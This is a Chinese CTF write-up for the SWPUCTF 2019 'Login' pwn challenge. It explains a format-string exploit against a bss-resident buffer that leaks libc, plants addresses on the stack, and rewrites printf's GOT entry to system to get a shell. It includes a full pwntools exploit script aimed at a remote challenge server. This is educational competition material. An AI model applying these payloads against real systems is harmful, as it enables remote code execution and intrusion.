Login
这是swpuctf2019的第二道pwn题,主要考点就是非栈上的字符串格式化漏洞利用。
首先,我们检查一下程序的保护机制
PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表
我们用IDA分析一下
在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以,我们不能用ROP来解,我们可以把printf的GOT表内容修改为system的地址,然后,我们输入/bin/sh字符串,就可以getshell。
并且要注意,我们必须一次性的完成printf的got表修改操作,不能分步,因为分步的话第一次修改了部分数据,printf的GOT表已经不再指向printf函数,所以第二次就利用不了了。
可以泄露一些栈上的数据,来计算libc的地址
- #泄露__libc_start_main的地址
- sh.sendlineafter('Please input your password:','%15$p')
- sh.recvuntil('0x')
- __libc_start_main_addr = int(sh.recvuntil('\n',drop=True),16) - 0xF1
- print hex(__libc_start_main_addr)
- libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
- libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
- system_addr = libc_base + libc.dump('system')
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
现在,有了一些需要的地址了,我们考虑怎么来写printf的GOT表,常规的栈格式化字符串漏洞,我们只需将地址放入字符串即可,因为字符串存在了栈里,但是非栈上的字符串,我们就不能这样操作了,我们需要借助格式化漏洞,先修改栈里的数据,改成需要的地址。
我们用%6$hhn来修改%10$处的数据,然后利用%10$hhn来修改%14$处的数据,使得%14$处为printf的GOT表地址,同样的方法,让%15$处为printf_got + 1的值,这样,我们在printf里用%14$hhn和%15$hn一次性完成对printf的got表数据后3字节完成了修改。第一个字节不用修改,因为都是一样的值。
为了完成这个操作,我们就还需要泄露栈的地址
- sh.sendlineafter('Try again!\n','%6$p')
- sh.recvuntil('0x')
- stack_addr0 = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack_addr0)
- sh.sendlineafter('Try again!\n','%10$p')
- sh.recvuntil('0x')
- stack_addr1 = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack_addr1)
接下来,我们要在14处写入printf的got表地址0x804B014
- #写栈14$处的低1字节为0x14
- payload = '%' + str(0x14) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+1
- payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低2字节为0xB0
- payload = '%' + str(0xB0) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+2
- payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低3字节为0x04
- payload = '%' + str(0x04) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+3
- payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低4字节为0x08
- payload = '%' + str(0x08) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
接下来,我们要往15处写入printf_got+1的值,那么需要将%10$指向%15$处,也就是14的地址+4
- ############在$15处存入printf_got+1################
- #偏移4,指向$15
- stack_addr1 = stack_addr1 + 4
- payload = '%' + str( (stack_addr1 & 0xFF)) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
接下来,就是一样的操作了,在15处写数据0x804B015
- #写栈15$处的低1字节为0x15
- payload = '%' + str(0x15) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+1
- payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低2字节为0xB0
- payload = '%' + str(0xB0) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+2
- payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低3字节为0x04
- payload = '%' + str(0x04) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+3
- payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低4字节为0x08
- payload = '%' + str(0x08) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
现在,栈里%14$和%15$就布下了我们需要的目标地址了,为了防止出错,我们把%10$处的数据复原
- #复原10处的数据
- payload = '%' + str( ((stack_addr1-4) & 0xFF)) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
然后,我们就要一次性的改写printf的GOT表
- #现在%14$处存着的就是printf的GOT表地址
- #我们开始来改写GOT表
- #需要一次性将printf的got修改为system
- #写低1字节
- payload = '%' + str(system_addr & 0xFF) + 'c%14$hhn'
- #写低2、3字节
- payload += '%' + str(((system_addr & 0xFFFF00)>>8)-0x10) + 'c%15$hn'
- sh.sendlineafter('Try again!\n',payload)
接下来,我们就可以getshell了
- #getshell
- time.sleep(0.5)
- sh.sendline('/bin/sh')
综上,我们对非栈上的格式化字符串漏洞总结:
借助几个栈里的ebp,改写栈里的数据为目标地址,然后就可以像常规格式化字符串漏洞一样操作了。
贴上完整的exp代码
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- import time
- #sh = process('./login')
- sh = remote('108.160.139.79',9090)
- elf = ELF('./login')
- printf_got = 0x804B014
- sh.sendafter('Please input your name: \n','zhaohai')
- #泄露__libc_start_main的地址
- sh.sendlineafter('Please input your password:','%15$p')
- sh.recvuntil('0x')
- __libc_start_main_addr = int(sh.recvuntil('\n',drop=True),16) - 0xF1
- print hex(__libc_start_main_addr)
- libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
- libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
- system_addr = libc_base + libc.dump('system')
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- sh.sendlineafter('Try again!\n','%6$p')
- sh.recvuntil('0x')
- stack_addr0 = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack_addr0)
- sh.sendlineafter('Try again!\n','%10$p')
- sh.recvuntil('0x')
- stack_addr1 = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack_addr1)
- #写栈14$处的低1字节为0x14
- payload = '%' + str(0x14) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+1
- payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低2字节为0xB0
- payload = '%' + str(0xB0) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+2
- payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低3字节为0x04
- payload = '%' + str(0x04) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+3
- payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低4字节为0x08
- payload = '%' + str(0x08) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- ############在$15处存入printf_got+1################
- #偏移4,指向$15
- stack_addr1 = stack_addr1 + 4
- payload = '%' + str( (stack_addr1 & 0xFF)) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈15$处的低1字节为0x15
- payload = '%' + str(0x15) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+1
- payload = '%' + str( (stack_addr1 & 0xFF) + 1) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低2字节为0xB0
- payload = '%' + str(0xB0) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+2
- payload = '%' + str( (stack_addr1 & 0xFF) + 2) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低3字节为0x04
- payload = '%' + str(0x04) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #变更10处的地址,+3
- payload = '%' + str( (stack_addr1 & 0xFF) + 3) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #写栈14$处的低4字节为0x08
- payload = '%' + str(0x08) + 'c%10$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #复原10处的数据
- payload = '%' + str( ((stack_addr1-4) & 0xFF)) + 'c%6$hhn'
- sh.sendlineafter('Try again!\n',payload)
- #现在%14$处存着的就是printf的GOT表地址
- #我们开始来改写GOT表
- #需要一次性将printf的got修改为system
- #写低1字节
- payload = '%' + str(system_addr & 0xFF) + 'c%14$hhn'
- #写低2、3字节
- payload += '%' + str(((system_addr & 0xFFFF00)>>8)-0x10) + 'c%15$hn'
- sh.sendlineafter('Try again!\n',payload)
- #getshell
- time.sleep(0.5)
- sh.sendline('/bin/sh')
- sh.interactive()